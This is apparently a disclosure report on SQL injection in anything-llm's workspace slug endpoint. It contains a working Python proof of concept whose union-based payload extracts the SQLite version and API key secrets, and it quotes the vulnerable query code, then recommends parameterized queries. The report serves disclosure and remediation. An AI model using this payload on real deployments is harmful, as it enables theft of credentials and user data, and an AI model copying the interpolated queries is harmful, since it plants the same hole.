SQL injection in slug parameter in mintplex-labs/anything-llm
Reported on
Sep 2nd 2023
Description
The /api/workspace/:slug
endpoint exposes a critical SQL injection vulnerability in the slug
parameter. This vulnerability arises due to the insecure handling of user-supplied data (slug) in the construction of a SQL query.
An attacker can exploit this vulnerability by crafting a malicious slug
value that includes SQL injection payloads. When the manipulated slug
is incorporated into the SQL query, it can alter the query's behavior. This malicious activity may lead to unauthorized access to the database, unauthorized data retrieval, data manipulation, and potentially full control of the database server.
Proof of Concept
The anything-llm
application relies on SQLite as its data storage mechanism for various components including workspaces, user information, and API keys. This vulnerability potentially allows malicious actors to exploit the system in multiple ways. They can enumerate and access workspaces that are otherwise restricted from their permissions. Furthermore, it exposes the risk of unauthorized retrieval of sensitive data such as API key secrets and user information.
In the following POC I used union based payload to retrieve SQLite
version and the secret
value from api_keys
table:
import requests
url = "http://localhost:3001/api/workspace/test'Union%20select%201,sqlite_version(),(SELECT%20secret%20FROM%20api_keys),4,5,6,7,8,9,10,11,12,13,14;--" # Union based payload
headers = {
"Host": "localhost:3001",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/116.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://localhost:3000/",
"Connection": "close",
"Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJ0ZXN0IiwiaWF0IjoxNjkzNjkxNjc2LCJleHAiOjE2OTYyODM2NzZ9.o4p4br5OUyoMrLP2-BCLldxDGarPZYTDP73b3DGHdfw", # Change this
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"If-None-Match": "W/\"773-MdgLun6ESFXPFk/WGHQAe92jMuI\"",
}
response = requests.get(url, headers=headers)
print(response.text)
Remediation
To enhance the security of the application, it is recommended to replace all traditional SQL queries to adopting parameterized queries, leveraging the sqlite3
library for Node.js. Parameterized queries provide an effective defense against SQL injection attacks by automatically sanitizing and escaping user inputs, rendering it virtually impossible for attackers to inject malicious SQL code into our database operations.
Impact
This vulnerability allowing an attacker to retrieve sensitive data, including user information, workspace details, and secret API keys.
Occurrences
workspaces.js L190
In this is the endpoint the slug parameter is incorporated directly into SQL queries without proper sanitization or parameterization, creating a vulnerability to SQL injection:
const workspace = multiUserMode(response)
? await Workspace.getWithUser(user, `slug = '${slug}'`)
: await Workspace.get(`slug = '${slug}'`);
Additionally, the vulnerability lies within the database functions themselves, which include:
getWithUser
: This function is designed to retrieveworkspace
data. When invoked, it constructs SQL queries with theslug
parameter and the request user.get
: Similar to getWithUser, the get function retrieves workspace data without implementing necessary security precautions. It constructs SQL queries using the clause parameter, which is susceptible to SQL injection when the slug parameter isn't sanitized properly.
getWithUser: async function (user = null, clause = "") {
if (user.role === "admin") return this.get(clause);
const db = await this.db();
const result = await db
.get(
`SELECT * FROM ${this.tablename} as workspace
LEFT JOIN workspace_users as ws_users
ON ws_users.workspace_id = workspace.id
WHERE ws_users.user_id = ${user?.id} AND ${clause}`
)
.then((res) => res || null);
if (!result) return null;
db.close();
const workspace = { ...result, id: result.workspace_id };
const documents = await Document.forWorkspace(workspace.id);
return { ...workspace, documents };
},
get: async function (clause = "") {
const db = await this.db();
const result = await db
.get(`SELECT * FROM ${this.tablename} WHERE ${clause}`)
.then((res) => res || null);
if (!result) return null;
db.close();
const documents = await Document.forWorkspace(result.id);
return { ...result, documents };
},
workspaces.js L208
The same issue occur in /workspace/:slug/chats
too
This issue occured in different parts of the application. So, I updated the report and suggested a fix: we should use parameterized queries instead of regular ones to make the application safer.